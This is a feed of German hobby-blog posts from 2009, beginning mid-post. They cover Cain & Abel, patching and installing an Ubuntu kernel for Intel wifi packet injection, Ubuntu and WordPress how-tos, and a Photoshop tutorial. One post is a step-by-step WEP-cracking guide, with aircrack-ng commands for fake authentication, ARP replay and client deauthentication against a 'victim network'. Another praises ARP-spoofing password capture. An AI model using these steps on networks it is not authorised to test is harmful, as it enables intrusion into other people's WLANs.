Cain & Abel verwendet die Winpcap Packet Driver (der AirPcap Adapter wird seit Version 4.0 unterstützt). Mit letzteren ist das passive Mitlesen von Datenverkehr in WLANs sowie Angriffe auf WEP möglich. Seit Version 4.9.1 ist es auch möglich, Angriffe gegen mit WPA-Handshake und WPA-PSK gesicherte WLANs durchzuführen.

Die von Cain via ARP-Spoofing aufgezeichneten Passwort-Hashes können auch an andere Programme wie John the Ripper oder Distributed Password Recovery von Elcomsoft weitergegeben werden. Cain selbst kann Aufzeichnungen von Netzwerkverkehr im Datenformat von libPcap/WinPcap lesen und extrahiert dann automatisch Passwörter bzw. deren Hashes.

Cain & Abel

CA ist wirklich zu empfehlen, gerade wenn man im eigenen Netzwerk herumspukt. Hier noch ein kleines Videotutorial (englischsprachig):

www.youtube.com/watch?v=P-zlKyASklc

www.youtube.com/watch?v=GqleMWzSvUk

Website: www.oxid.it
Download: www.oxid.it (7Mbyte)
Lizenztyp: Freeware

]]> http://www.superkato.net/2009/03/25/teil-1-das-schweizertaschenmesser-des-hackers/feed/ 0 http://www.superkato.net/2009/03/23/intel-injection-kernel-patch-download/ http://www.superkato.net/2009/03/23/intel-injection-kernel-patch-download/#comments Mon, 23 Mar 2009 13:28:38 +0000 admin http://www.superkato.net/?p=333

Intel Injection Patch DOWNLOAD

Aufgrund der hohen Nachfrage, habe ich mich dazu entschlossen meinen gepatchten Ubuntu Kernel für die 32Bit und 64Bit Version zum Download bereitzustellen. Es handelt sich dabei um den aktuellen Ubuntu 8.10 Kernel mit dem Intel AGN Packet Injection Patch für die Wi-fi Link 5100, Wi-fi Link 5300 und Intel 4965 AGN.

Download und Installation auf eigene Gefahr!

Den Downloadlink findet ihr in unserem Forum: Download

Installationsanleitung:

1. Downloaden und entpacken der beiden Kernel Dateien.

2. Folgende Konsolenbefehle eingeben um diese zu installieren:

sudo dpkg -i linux-image-<version>.deb

sudo dpkg -i linux-headers-<version>.deb

Dabei passt ihr in beiden Fällen die Dateinamen der *.deb Dateien mit denen aus dem Download an.

z.B.: linux-headers-<version>.deb zu-> linux-headers-2.6.27.10-injection_2.6.27.10-injection-10.00.Custom_i386.deb

Falls ihr eine exotische Hardware habt, kann es gut sein, das das nicht so einfach mit meinem Kernel klappen wird. In diesem Fall müsst Ihr doch euren eigenen erstellen. Jedenfalls sind in diesem Kernel alle Treiber mit drin jeweils für die 64Bit und 32 Bit Version.

Über eure Kommentare würde ich mich sehr freuen und klickt als Dankeschön auf meine Werbebanner wenn was interessantes für euch dabei ist!

Ich habe für den Look benutzt:

• Mac4Lin
• AWN Desktop Manager
• Apple Logo
• Apple Wallpaper
• Mac4Lin Symbole und GTK Styles

Und so schauts bei mir aus:

Ubuntu 8.10 im Mac OSX Style

Kommentare etc. sind wie immer sehr erwünscht

Wie das Funktioniert, zeige ich in diesem Tutorial oder eher in dieser Installations-Anleitung:

1. Schritt

Ganz einfach! Zuerst downloadet man sich die aktuelle Version des OpenSource Betriebssystem runter >>Download Seite und brennt anschließend die ISO Datei mittels eines Brennprogramms auf eine DVD oder CD.

Ich persönlich empfehle die 64-Bit Version, denn gerade in Ubuntu Linux gibt es im gegensatz zu Windows Vista oder XP 64-Bit, einen wunderbaren 64-Bit Hardware Support, deren Performancevorteile gerade bei 64-Bit Multicore Anwendungen (Aircrack, Matlab, etc.) zur Geltung kommen.

(Inzwischen bin ich der Meinung das die 32Bit Version die bessere ist, meine Erfahrungswerte sprechen klar gegen die 64 Bit Version von Ubuntu Linux!)

Ein großer Vorteil der “INSIDE WINDOWS INSTALLATION” ist, das sich auch keine zusätzlichen Windows Services etc. installieren, die das System verlangsamen wie es z.B. bei Virtual-PC oder VMware der Fall ist.

Mein Installationssystem ist übrigens ein Toshiba U400 Notebook. Falls ihr ein Bauchgleiches Modell habt, kann ich euch eine einwandfreie Funktionalität mit der 32/64-Bit Version versichern.

Falls man allerdings exotischere Hardware besitzt, sollte man auf jedenfall die normale 32-Bit Version von Ubuntu bevorzugen.

So [...] nach dem Ihr nun den Ubuntu Datenträger erstellt habt, legt diesen im Windows Betrieb ein. Nach kurzer Ladezeit öffnet sich dann ein Fenster das wie folgt aussehen sollte:

Ubuntu Windows Installation

Dort einfach “Install inside Windows” auswählen.

Ubuntu wird dann nicht wie gewöhnlich installiert, sondern auf deinem Windows Laufwerk in einen Ordner namens “ubuntu“, dieser kann je nach Einstellung 5 bis 30GB groß sein. Das Tolle an dieser Installations Methode ist, dass Ubuntu wie ein Programm installiert wird, so dass man im falle eines Fehlers, Ubuntu Linux ganz einfach wieder deinstallieren kann ohne das dass System negativ beeinträchtig wird.

Nach der installation, hat man ein sogenanntes Dual-Boot System (es gibt auch Multi Boot Systeme bei 2+ OS) erstellt, da man beim Systemstart, zwischen zwei Betriebssystemen (OS – Operating System) wählen kann. Meiner Meinung nach eine sehr elegante und komfortable Lösung.

2. Schritt

Nach dem wir vorher auf weiter geklickt haben, folgt nun dieses Fenster:

Ubuntu Windows Installation 2

Hier wählen wir den Ort und die Größe des “virtuellen Ordners” sowie die Spracheinstellung von Ubuntu.

Ich würde eine Größe von mind. 10GB zum bequemen Arbeiten empfehlen. Alternativ, kann man auch einen USB Stick oder eine Speicherkarte einstecken und Ubuntu Linux auf diese installieren (Das BIOS muss das starten von Sticks und Speicherkarten unterstützen!).

Ferner, geben wir noch einen Account Namen und Passwort ein. Dies sollte man nicht vergessen, da man es später zum einloggen benötigt!

3. Schritt

Die Installations Routine kopiert jetzt die Daten in das gewählte Verzeichnis.

Ubuntu Windows Installation 3

nach einigen Minuten, ist die Installation abgeschlossen. Ihr startet jetzt neu und habt dann folgende Auswahlmöglichkeiten im Windows Bootmanager:

Windows Bootmanager mit Ubuntu DualBoot

Wir ihr seht, habt ihr nach 3 einfachen Schritten, ein stabiles DualBoot System, das auch ohne Spuren wieder rückgängig gemacht werden kann, in dem ihr es aus Windows deinstalliert.

Ubuntu und Windows, fungieren weiterhin Autonom, der einzige unterschied ist einfach, dass Ubuntu beim starten, erstmal das NTFS Dateissystem der Festplatte mounten muss, um auf die Daten zugreiffen zu können.

Ubuntu Ordnergröße in Windows

Falls euer Windows mal den Geist aufgibt, sei es wegen einer Systemdatei die plötzlich fehlt, ist das Dualbooting auch eine super Rettungsmöglichkeit um ggf. Fehler auszumerzen.

Viele Grüße und Spaß mit eurem Ubuntu!

Kommentare und Feedback sind gerne erwünscht

Artikel Auflistung

Eine Auflistung der neusten Artikel bzw. Liste mit den neusten Beiträge auf der Blog Startseite, wie es z.B. auf Winfuture der Fall ist, ist ein nützliches Blogfeature um einen sofortigen Überblick des Blog’s zu verschaffen. Um den Lesern auf SuperKato.net das Leben zu erleichtern, habe ich mich ebenfalls für das implementieren von diesem Usability-Feature entschieden. Da das implementieren sich nicht so einfach gestaltet hat und ich gerne das Leben von anderen Webmastern erleichtere, habe ich meine erkentnisse in dieses kleine Tutorial gepackt.

Nach einiger Zeit googlen nach Anleitungen und mehreren “Kreuzverhören” in WordPress Foren, habe ich es doch letzendlich geschafft!

Hier das Tutorial für WordPress:

Nach langem herumsuchen habe ich auf “texto.de” einen Lösungsansatz gefunden. Erstmal legt man ein neues Template in WordPress an oder fügt den Code direkt in die Startseite ein. Erstmal zeige ich euch, wie man eine neue “statische” Seite als Template in WordPress erstellt (Beispiel).

Schritt 1: WordPress template anlegen

Ihr kopiert als erstes die PHP-Datei “page.php” aus eurem Template Verzeichnis (/wp-content/themes/*euer_template_name*/) auf euren Desktop.

Als nächstes nennt ihr die “page.php” in beispielsweise “news.php” um und öffnet bzw. editiert diese mit einem Editor wie z.B. Notepad++ oder Pspad, Dreamweaver und Co. tun es natürlich auch.

Falls ihr eure page.php angepasst habt, kopiert ihr nun folgenden Quellcode ein und passt dabei auf, das eure Anpassungen nicht verloren gehen. Alternativ könnt ihr auch einfach den gesammten Quelltext durch den neuen ersetzen.

Die news.php stelle ich auch gerne zum Download bereit.
Download: news.php

Code: Link

Schritt 2: Seite mit Template versehen

Seiten Vorlage

Ihr müsst jetzt euere news.php in euer template Verzeichnis hochladen und anschließend eine neue Seite in WordPress erstellen. Um nun das Template auf die neu erstellte Seite anzuwenden, müsst ihr jetzt im rechten Konfigurationsmenü bei “Standardvorlage” eure Datei auswählen und dann nur noch die Seite veröffentlichen. Ihr könnt das Design und die Reihenfolge der Artikelliste belibig abändern.

Startseite mit Beitragsliste versehen:

Ihr fügt jetzt den folgenden Code einfach in eure index.php an der richtigen Stelle ein (siehe meine index.php). Bitte erstellt vorher eine Sicherungskopie dieser Datei, falls etwas schief geht.

Auch hier stelle ich meine index.php zum Download bereit.
Download: index.php

Code: Link

Ich hoffe, dass ich euch hinsichtlich dieses “Artikel Beitrags auflistungs Problem” helfen konnte. Falls ihr Fragen habt, postet doch bitte ein Kommentar. Desweiteren, gehts hier zur Diskussion in unserem Forum.

Intel Injection Patch HowTo

Die Packet Injection Funktion für Wlan Karten ist essentiell wichtig, wenn man vor hat mit seinerm System WEP und WPA geschützte Wlan’s zu entschlüsseln (umgangssprachlich auch “Hacken” gennant).
Einige Wlan Karten unterstüzten diese Funktion in ihren eigenen Treibern von “Haus aus”, einige jedoch nicht, wie z.B. Wlan Karten des Herstellers INTEL. Besonders bei häufig und beliebt in Notebooks ist der Intel Centrino-2 Chipsatz, der mit dem Intel WI-FI Link 5100 Wlan Modul ausgestattet ist. Falls man nun vorhat, unter Ubuntu Linux mit Aircrack-ng (egal ob 32 oder 64 Bit) zu arbeiten, ist es also ohne weiteres vorgehen nicht möglich die Packet Injection Funktion zu nutzen.

Ich bin nach einiger Zeit auf ein Workaround für mein Toshiba U400 Notebook mit gepatchten Intel Treibern (iwl-agn) gestoßen, das ich nun hier veröffentlichen möchte. Bitte denkt daran, das alles hier auf eigenes Risiko geschieht und ihr euer System vorher sichern solltet!

Vorraussetzungen:

• Die 3 gepatchten Treiber Dateien (iwl-agn)
• Ubuntu Linux 32 oder 64Bit (in dieser Anleitung habe ich Intrepid 64Bit Kernel 2.6.27.10 verwendet)
• Ein wenig Ahnung vom Kernel kompilieren und von der Terminal Bedienung unter Linux
• Intel Wlan Adapter mit AGN Chipsatz (Wi-Fi Link 5100 oder 4965AGN, Hauptsache AGN)

Erstmal müsst ihr sicherstellen, wie euer Netzwerkadapter überhaupt lautet und ob dieser korrekt installiert ist (siehe Screenshot), in meinem Falle wlan0.

Screenshot Terminal iwconfig

Anschließend benötigt ihr erstmal folgende 3 Dateien.

Bitte denkt daran, falls ihr Keine WI-FI Link 5100 habt sondern eine höhere oder niedrigere “AGN” Karte (keine BGN oder ABGN!!!), ist das patchen, mit diesen 3 Dateien und der Anleitung möglich. Falls ihr allerdings eine andere WiFi Karte besitzt, benötigt ihr andere “iwl- Treiber”. Es gibt fast für jede Intel Karte , packet injection gepatchte Treiber!

Los gehts mit dem HowTo bzw. Tutorial für das “Ubuntu Intel Wi-Fi Link 5100 Injection Patch Abenteuer”:

Prozedur: Intel Injection Treiber mit Kernel patchen -> Kernel kompilieren -> Kernel installieren -> Neustart -> Injection Kernel auswählen.

1. Ihr benötigt folgende 3 gepatchte iwl-agn Treiber:

Download:

(Alternativ, könnt ihr auch gleich den bereits gepatchten Kernel für eure Version Downloaden und euch das Tutorial sparen. Diesen Kernel findet ihr in diesem Beitrag: http://www.superkato.net/2009/03/23/intel-injection-kernel-patch-download/)

>>gepatchter Treiber: http://intellinuxwireless.org/?n=Downloads

2. Mittels Paketmanager folgende Pakete downloaden. Terminal Befehl:

sudo apt-get install kernel-package libncurses5 libncurses5-dev fakeroot wget bzip2 linux-source qt3-dev-tools libqt3-mt-dev

Das sind Kernel Tools die man zum kompilieren benötigt ggf. muss man weitere Pakete downloaden, je nach Terminal Fehlermeldung.

3. Nun geht man zum Source Verzeichnis und entpackt den Kenel Source in das Source Verzeichnis.

cd /usr/src
sudo tar jxvf linux-source-2.6.27.tar.bz2
cd linux-source-2.6.27

Je nach Kernelversion, die ihr downloadet, können die Pakete einen anderen Namen haben, ist halt versionsabhängig.

4. Nun kopiert ihr eure aktuelle Kernel Konfiguration in das Linux Source Verzeichnis. Dies ist nötig, damit eure Einstellungen, die ihr bis jetzt an eurem System verändert habt erhalten bleiben.

sudo cp /boot/config-`uname -r` ./.config

5. Jetzt patchen wir die Intel Treiber Injection fähig, in dem wir nun in die 3 gedownloadeten Dateien aus dem zip in das Linux Source Verzeichnis kopieren.

sudo mv iwl-sta.c iwl-tx.c iwl-agn.c /usr/src/linux-source-2.6.27/drivers/net/wireless/iwlwifi

(denkt bitte daran, das dieser Befehl evtl. nicht funktionieren wird, wenn die 3 Dateien irgendwo anders entpackt worden sind. In diesem Falle, könnt ihr auch einfach sudo nautilus in die Konsole eingeben und die 3 Dateien direkt in das Verzeichnis /usr/src/linux-source-2.6.27/drivers/net/wireless/iwlwifi kopieren!).

6. Jetzt geht ihr in das root Verzeichnis von eurem Linux Source Code (/usr/src/linux-source-2.6.27) und fangt jetzt an den Kernel zu bauen (builden).

cd /usr/src/linux-source-2.6.27
sudo make-kpkg clean
sudo fakeroot make-kpkg –initrd –append-to-version=-injection kernel_image kernel_headers

WICHTIG:
Falls ihr Ubuntu 64 Bit benutzt, müsst ihr den XEN Hypervisor Support im Kernel deaktivieren bevor ihr kompiliert! Dazu macht ihr folgendes:

sudo make xconfig

dann sucht ihr nach XEN guest support und deaktiviert diese Option. Anschließend speichert ihr diese Konfiguration.

Das kompilieren bzw. builden des Kernels dauert jetzt einige Zeit. Eventuell erhaltet ihr jetzt Fehlermeldungen, das euch wichtige Pakete fehlen. In diesem Fall einfach Paketmanager öffnen und diese nachträglich installieren, anschließen Kompiliervorgang neustarten, solange bis es klappt!

(30Min. später…)

Nach erfolgreichem kompilieren, müsstet ihr nun neue 2 Pakete im Verzeichnis haben:

linux-image-2.6.27.10-injection_2.6.27.10-injection-10.00.Custom_i386.deb
linux-headers-2.6.27.10-injection_2.6.27.10-injection-10.00.Custom_i386.deb

7. Schließlich installiert ihr jetzt den neuen Kernel in euer System, in dem ihr “dpkg” nutzt. Danach sollte auch der neue Kernel automatisch im Bootmenü zusehen sein.

sudo dpkg -i linux-image-2.6.27.10-injection_2.6.27.10-injection-10.00.Custom_i386.deb

sudo dpkg -i linux-headers-2.6.27.10-injection_2.6.27.10-injection-10.00.Custom_i386.deb

Wenn dies erfolgreich ausgeführt wurde, habt ihr den gepatchten Kernel erfolgreich in euer System installiert und könnt diesen beim Booten (z.B. Grub Bootmanager) auswählen. Da wir zuvor die Konfiguration des Systems gesichert haben, sollte alles wie vorher aussehen und funktionieren.

8. Ab und an, gibt es ein Kernel update. Falls ihr im auto-update einen neuen installiert habt, ist dieser natürlich weiterhin im Bootmenü zu sehen und auszuwählen, jedoch hat dieser dann keinen Injection Patch mehr.

Um einen neuen Kernel mit Injection für die Intel Wi-Fi Link 5100 zu nutzen, müsst ihr diese ganze Prodzedur nochmal für den neuen Kernel anwenden.

Als paar Wochen später z.B. der neuste Kernel 2.6.27-13 für Ubuntu 32 und 64 Bit erschienen ist, habe ich diesen neuen Kernel nochmal gepatcht. Die Packet Injection Funktion für meinen Intel Adapter (Wi-Fi Link 5100 AGN und 4965 AGN @ Toshiba U400) funktionierte dann auch einwandfrei.

9. Jetzt könnt ihr die Packet Injection Funktion euerer Intel Karte wie folgt testen, in dem ihr das eingebt (vorher sicherstellen, dass airckrack-ng installiert ist!) :

Erstmal wird die Karte wlan0 in den Monitor Mode versetzt.

root@superkato ~ # airmon-ng start wlan0

dann erscheint das:

Interface Chipset Driver

wlan0 iwlagn – [phy0]
(monitor mode enabled on mon0)

Airmon-ng hat nun wlan0 in den monitor Mode versetzt (nur noch mon0 als Wlan Karte für aircrack-ng nutzen, da diese auf monitor Mode gestellt wurde).

Jetzt mittels aireplay-ng, testen ob das Injection mit der Intel Wi-Fi Link 5100 funktioniert (channel 9):

root@superkato ~ # aireplay-ng -B -9 mon0
14:31:27 Trying broadcast probe requests…
14:31:27 Injection is working!
14:31:29 Found 1 AP

14:31:29 Trying directed probe requests…
14:31:29 31:80:48:65:3D:B6 – channel: 9 – ‘testap’
14:31:31 Ping (min/avg/max): 1.132ms/78.534ms/83.452ms Power: 211.07
14:31:31 30/30: 100%

14:31:31 Trying directed probe requests for all bitrates…

14:31:31 31:80:48:65:3D:B6 – channel: 9 – ‘testap’
14:31:32 Probing at 1.0 Mbps: 28/30: 93%
14:31:33 Probing at 2.0 Mbps: 29/30: 96%
14:31:33 Probing at 5.5 Mbps: 26/30: 86%
14:31:34 Probing at 6.0 Mbps: 29/30: 96%
14:31:35 Probing at 9.0 Mbps: 26/30: 86%
14:31:36 Probing at 11.0 Mbps: 24/30: 80%
14:31:36 Probing at 12.0 Mbps: 28/30: 93%
14:31:37 Probing at 18.0 Mbps: 29/30: 96%
14:31:37 Probing at 24.0 Mbps: 29/30: 96%
14:31:38 Probing at 36.0 Mbps: 27/30: 90%
14:31:39 Probing at 48.0 Mbps: 24/30: 80%
14:31:40 Probing at 54.0 Mbps: 26/30: 86%

Wenn ihr nun das gleiche im Terminal habt, hat der Packet Injection Patch FUNKTIONIERT!!! (btw.: 13″ Notebook mit Packet Injection )

10. Feedback, Fragen oder Probleme? Ich würde mich sehr auf ein Feedback oder für Verbesserungsvorschläge freuen!

>> Zur Diskussion in unserem Forum<<

WEP Verschlüsselung ohne Client Hacken

Zu allererst müsst ihr Linux auf eurem PC installieren, ich verwende Ubuntu 8.10 die ihr hier kostenlos downloaden könnt (http://www.ubuntu.com/getubuntu/download ), Ubuntu könnt ihr direkt in Windows installieren und zerschießt euch so nicht euren Bootloader. Ihr könnt natürlich auch Backtrack verwenden, ein Linux Live System, das ihr ohne installieren von der CD oder vom Usb-Stick starten könnt, hier der Download (http://www.remote-exploit.org/backtrack_download.html ). Der Vorteil bei Backtrack ist, dass die Treiber bereits mit einem Packet Injection Mod gepatcht sind, dies ist wichtig bei der Nutzung von Wlan Karten, die Packet Injection nicht mit ihren nativen Treibern unterstützen. Wie z.B. der Intel Wi-fi Link 5100 (Das Tutorial, wie man diese patcht, findet ihr übrigens auch hier auf dem Blog).

Ich empfehle für den Anfang dieses WEP ohne Client Tutorials, Backtrack zu nutzen, da dort die meisten Wlan-Karten wie bereits erwähnt “out of the box” mit Packet Injection laufen und man nicht erst den Treiber Patchen muss. Für das Hacken braucht ihr wenn kein Client im Netzwerk ist 2 Wlankarten, davon muss eine Injection unsterstützen.

Das “sudo” Command, in den Befehlen, wird nur bei Ubuntu benötigt da “root” Rechte für die Befehle benötigt werden. Falls ihr es nicht vor jedem Befehl eingeben wollt, könnt ihr auch zuerst sudo –s eingeben, damit werden alle Befehle die nachfolgend eingegeben werden im Terminal als “root” ausgeführt.

Schritt 1

1. (entfällt unter Backtack) Unter Ubuntu muss man zuerst seinen Treiber für Injection Patchen um Pakete in das Opfer-Netzwerk zu senden und einen hohen Paketfluss zu erzeugen. Die Patchanleitung gibt es zu vielen Treibern hier (http://www.aircrack-ng.org/doku.php?id=install_drivers).
   Sobald der Treiber gepatcht ist kanns schon fast losgehn, ihr müsst nurnoch die benötigten Programme instalieren. Am einfachsten geht dies über den Paketmanager folgende pakete werden benötigt : aircrack-ng & aireplay-ng

2. Nun kanns losgehn als erstes müsst ihr eure Wlan-Karte im monitormode starten mit dem Befehl, je nachdem welche Karte ihr habt ändern sich die Befehle:
   Atheros:
   sudo airmon-ng stop ath0
   sudo airmon-ng start wifi0
   Realtek :
   sudo airmon-ng start wlan0

(Abb.1) Ubuntu: Wlan Karte Konfigurieren

In Abb.1 seht ihr nun, das der “monitor mode” auf ath1 enabled is. Eure Karte kann natürlich anders heißen als ath1, ihr müsst dann ath1 mit dem Interfacenamen eurer Karte in den nachfolgenden Befehlen ersetzen.

Schritt 2

Um nun Pakete zu capturen startet ihr “airodump“. Airodump zeichnet alle Pakete in Reichweite auf und zeigt alle empfangbaren Wlans an.

1. Airodump-ng starten:
   sudo airodump-ng ath1

2. Um Pakete nur auf einem bestimmten Kanal zu capturen fügt ihr den Befehl
   –channel noch ein.
   Mein AP sendet z.B. auf channel 7 somit gibt man folgenden Befehl ein:
   sudo airodump-ng –channel 7 ath1

3. Um die Pakete zu speichern müsst ihr noch den Befehl -w /test hinzufügen. Die Variable “test§ könnt ihr durch einen beliebigen Namen ersetzen. Zu beachten ist das die Cap Dateien im Root Verzeichnis abgespeichert werden, allerdings unter test-01.cap. Falls schon einen Datei test-01.cap vorhanden ist wird die Cap-Datei unter test-02.cap abgespeichert und so weiter.
   sudo airodump-ng –channel 7 -w /test ath1

(Abb.2) Ubuntu: Solange kein client im Netzwerk ist, bekommen wir auch keine Datenpakete. (WEP cracken ohne Client Anleitung)

Schritt 3

Um nun erfolgreich Pakete Injecten anwenden zu können, müssen wir erst eine FakeAuth Attack starten. Diese erlaubt uns später erfolgreich die ARP-Pakete zu Injecten, da sie sonst von den meisten Routern abgelehnt werden.

1. Nach -a wird die Bssid des Opfer-Routers angegeben:
   sudo aireplay-ng -1 6000 -a <accespoint´s macadresse> ath1
   

(Abb.3) Ubuntu: FakeAuth im Terminal

Schritt 4

Als nächstes starten wir die ARP-Replay Attack, die ARP Pakete vom Router auffängt und sie zurück zum Router sendet.

1. Dazu geben wir folgenden Befehl ein:
   sudo aireplay-ng -3 -b 00:1C:4A:47:01:10 ath1
   

(Abb.4) Ubuntu: Aireplay-ng ARP Attack

Schritt 5

Nun benötigen wir ein ARP-Packet das wir zurück zum Router schicken können um Traffic zu erzeugen. Dazu haben wir 2 Möglichkeiten.

• Wir können entweder den vorhandenen Traffic von einem Client benutzen oder einen verbundenen Client deconnecten (De-Auth Attack), damit sich dieser reconectet und ein ARP-Paket entsteht.
  sudo aireplay-ng -0 -b 00:1C:4A:47:01:10 -c <client´s mac> ath1
  oder falls das nicht bei euch klappt:
  sudo aireplay-ng -0 1 -a 00:1C:4A:47:01:10 -e <client´s mac> ath1

• Falls kein Client im Netzwerk ist benötigt man eine 2te Karte um Traffic zu erzeugen. Man muss sich mit der 2ten Wlankarte mit einem zufälligem Passwort zu dem Opfer Netzwerk connecten. Anschließend muss man, eine nicht vorhandene IP anpingen und dies im richtigen moment! Auch wenn man nicht das richtige Passwort hat connectet sich der PC kurz zum Router wenn in diesem Moment der Ping ausgeführt wird, wird ein ARP-Paket gesendet und das von Aireplay aufgefangen wird und sendet es zurück zum Router.Ping Befehl um das Wlan anzupingen:
  sudo ping -I wlan0 111.111.111.122
  

(Abb.5) Ubuntu: Versuch in das Wlan zu connecten

(Abb.6) Ubuntu: Ping flooding um Traffic zu erhalten

In Abb.6, sieht man wie der Ping Versuch erst fehlschlegt und dann im richtigen Moment funktioniert.

(Abb.7) Ubuntu: Airodum-ng empfängt Pakete

Hat alles geklappt solltet ihr jetzt bei Airodump-ng ordnetlich Pakete bekommen. Je länger der WEP-Key ist deste mehr beötigt ihr.

Schritt 6

Wenn ihr genug Pakete gesammelt habt, seit ihr fast am Ziel und ihr könnt Aircrack starten und die gesammelten Pakete entschlüsseln. Je länger der WEP-Key ist und je weniger Pakete ihr habt, desto länger dauert das entschlüsseln.
Meistens dauert das entschlüsseln nur wenige Sekunden . Wenn das entschlüsseln fertig ist wird das Passwort in HEX angezeigt (dieses könnt ihr ohne die Doppelpunkte als Passwort benutzen), falls möglich wird das Passwort in ASCII angezeigt, hier z.B. peter xD.

1. Befehl zum entschlüsseln der empfangen Pakete (*.cap Dateien).
   sudo aircrack-ng /test-01.cap
   

(Abb.8) Ubuntu: Aircrack-ng hat das Passwort entschlüsselt (WEP ohne Client Tutorial)

Somit habt ihr erfolgreich ein WEP verschlüsseltes Wlan ohne Client gehackt, bzw. das Passwort “Recoverd”.

Ich freu mich über Kommentare und Verbesserungsvorschläge. Diese Anleitung ist nur für Testzwecke gedacht und darf nur am eigenen WLAN ausprobiert werden, alles andere ist illegal und ich distanziere mich ausdrücklich davon!

PS CS4 Tutorial

Heute ein kleines aber sehr belibtes Photoshop CS4 Tutorial:

Populär wurde der “Mirror Effect” (oder zu deutsch “Spiegel Effekt”) der an Bildern oder Objekten angefügt wird, mit der Einführung von Apple’s IPOD. Auf der Website und in sonstigen Medien von Apple, gab es immer wieder Objekte zu sehen, die sich auf einer glänzenden Oberfläche wiederspiegelten – sah cool aus und inzwischen, ist es auch keine große Kunst mehr ein belibiges Bild mit diesen Effekt für sich selbst in Photoshop zu versehen.

Iphone mit Spiegel Effekt

Schritt 1

Für das Tutorial, verwende ich ein Bild von meinem lieblings Model >Adriana Lima< Ihr könnt natürlich auch ein anderes Bild verwenden. Wichtig ist nur, dass der Hintergrund beim erstellen eines neuen Bildes in Photoshop größer sein muss als das eigentliche Bild. Man hat mehr Platz und mehr Spaß

Unser Testobjekt

Schritt 2

nach dem Einfügen des Adriana Bildes in das leere weiße Bild, erstellen wir erstmal eine Ebenenkopie des Adriana Bildes, das wir für die spätere Spiegelung nutzen. Dazu klicken ich auf die Adriana Ebene im rechten Ebenenfenster und zum kopieren, drücke ich die Tastenkombination [STRG + J]. Danach sollte die Ebene kopiert bzw. dupliziert sein.

Ebene kopieren

Diese neue Ebene habe ich “Adriana Kopie (Spiegelung)” genannt und verschiebe sie unter unsere Hauptebene (Adriana). Falls das mit dem Verschieben der Ebene per Maus nicht klappen sollte, kann man auch einfach die Tastenkombination [STRG + #] verwenden.

Vertikal Spiegeln

Jetzt muss die neue Ebene vertikal gespiegelt werden (siehe Bild oben). Dazu markiert man die kopierte Ebene und drückt auf [STRG+T] oder Bearbeiten > Frei Transformieren. Dann mit rechter Maustaste auf das Bild klicken und “Vertikal Spiegeln” anwählen und mit der ENTER Taste bestätigen.

Verschieben der Spiegelung und Pipetten Punkt für später

Diese gespiegelte Ebene verschieben wir so weit nach unten, wie es oben im Adriana Bild zu sehen ist. Also praktisch um eins drunter verschoben.

Schritt 4

Jetzt müssen wir, um die Spiegelung realistischer wirken zu lassen einen Verlauf einbringen der sich nur auf die Ebene der Spiegelung auswirkt. Dazu wählen wir die gespiegelte Ebene an und klicken auf das “Ebenenmaske hinzufügen” Symbol (Viereck mit Kreis drin).

Ebenenmaske und Verlauf erstellen

Dann wählen wir das Verlaufswerkzeug an und überprüfen oben in der Leiste die Einstellungen, diese sollten wie mit dem unten zu sehenden übereinstimmen.

Verlaufseinstellungen

Jetzt zieht man mit dem Verlaufswerkzeug einen geraden strich von oben nach unten auf der gespiegelten Ebene, die Punkte sieht man auf dem unterem Bild.

Verlaufspunkte der Spiegelung

Ebenenfenster, Ebenenmaske mit Verlauf

Um diese Spiegelung nun realistischer aussehen zu lassen, verringern wir die Deckkraft auf 50%. Nach dem Ihr das getan habt, sollte das nun wie folgt aussehen:

Spiegelung mit Verlauf

Schritt 5

Jetzt ist die Spiegelung soweit erstellt. Um das Gesamtergebnis, jetzt noch optisch mehr aufzupimpen (aufwerten), erstellen wir jetzt noch einen zusätzlichen Hintergrund oder besser gesagt 2 Stück, einen für die Spiegelung und eine für das Hauptbild. Keine Sorge, ist wirklich nich schwer.

Also, erstmal erstellen wir eine neue Ebene, diese habe ich mal “Hintergrundebene Verlauf 1″ genannt. Diese setzen wir über die Hintergrundebene im Ebenenfenster mittels Drag&Drop oder [STRG + *] oder [STRG + #]

Dann wählen wir das Pipetten Werkzeug an und klicken auf die hellgrüne Stelle über den Fingern (diese hab ich auf Bild 3 ganz oben rot markiert), man kann auch eine andere dezente Farbe auswählen, diese muss nur zum Bild passen. Das alles dient übrigens um die Ebenenmaske zu färben!

Fläche füllen Einstellungen

Diese Ebenmaske, müssen wir jetzt mit Farbe füllen und nach unten verschieben. Also wählen wir mit der Tastenkombi [STRG+A] alles von der Ebenmaske an und klicken dann obenen in der Leiste auf “Bearbeiten -> Fläche füllen” dann stellen wir im Optionsfenster ein “Vordergrundfarbe” und wählen als Deckkraft 30%.

Das verschieben von der gefärbten Ebenenmaske nach unten erfolgt zuletzt mit den Pfeiltasten.

Füllung nach unten verschieben

Jetzt müsste das alles am Ende dann so aussehen:

Endposition und Form der Hintergrundfüllung 1

Schritt 6

Jetzt fügen wir dem Hintergrund einen Verlauf hinzu. Dazu erstellen wir wieder eine Ebenenmaske von der Ebene und fügen wie bereits von oben bekannt einen Verlauf hinzu (Verlaufspunkte s.u.).

Verlaufspunkte des Hintergrunds 1

Am ende müsste euer Resultat, dem Bild oben entsprechen.

Schritt 7

Jetzt machen wir das gleiche nochmal, nur für den oberen Bereich. Also, neue Ebene namens Hintergrund Verlauf 2 und plazieren diese über der Hintergrundebene. Dann markieren wir wieder alles mittels [STRG+A] und füllen diesen mit unserer Vordergrundfarbe aus (”Bearbeiten -> Fläche füllen -> Vordergrundfarbe”). Diesmal allerdings, reduzieren wir die Deckkraft im Optionsfenster auf 15%.

Um nun diesem Hintergrund wieder einen Verlauf zu geben, erstellen wir eine Ebebenmaske von der erstellten Hintergrundebene und fügen einen Verlauf hinzu wie wir das bereits oben mehrmals gemacht haben.

Verlaufspunkte des Hintergrunds 2

Das Resultat, müsste jetzt dem Bild oben entsprechen. Unser Spiegeleffekt ist jetzt im grundegenommen fertig und das Resultat, kann sich sehen lassen! Dennoch fehlt immernoch das typische “Apple Finish” so dass das Hauptbild einen leichten Aura-Schlagschatten hat. Diesen fügen wir im nächsten Schritt an.

Schritt 8

Also um das Apple Finish zu erzeugen, klicken wir auf die Adriana Ebene bzw. unserem Hauptbild. Dann klicken wir auf das “FX” Effekte Symbol im Ebenenfenster und wählen den Schlagschatten aus.

hinzufügen des Schlagschattens

Es öffnet sich ein Optionsfenster, wo wir dann die folgenden Werte korrekt übernehmen.

Schlagschatten Einstellungen

Je nach Bild, kann man diese Werte spezifisch anpassen!

Fertiges Apple Finish

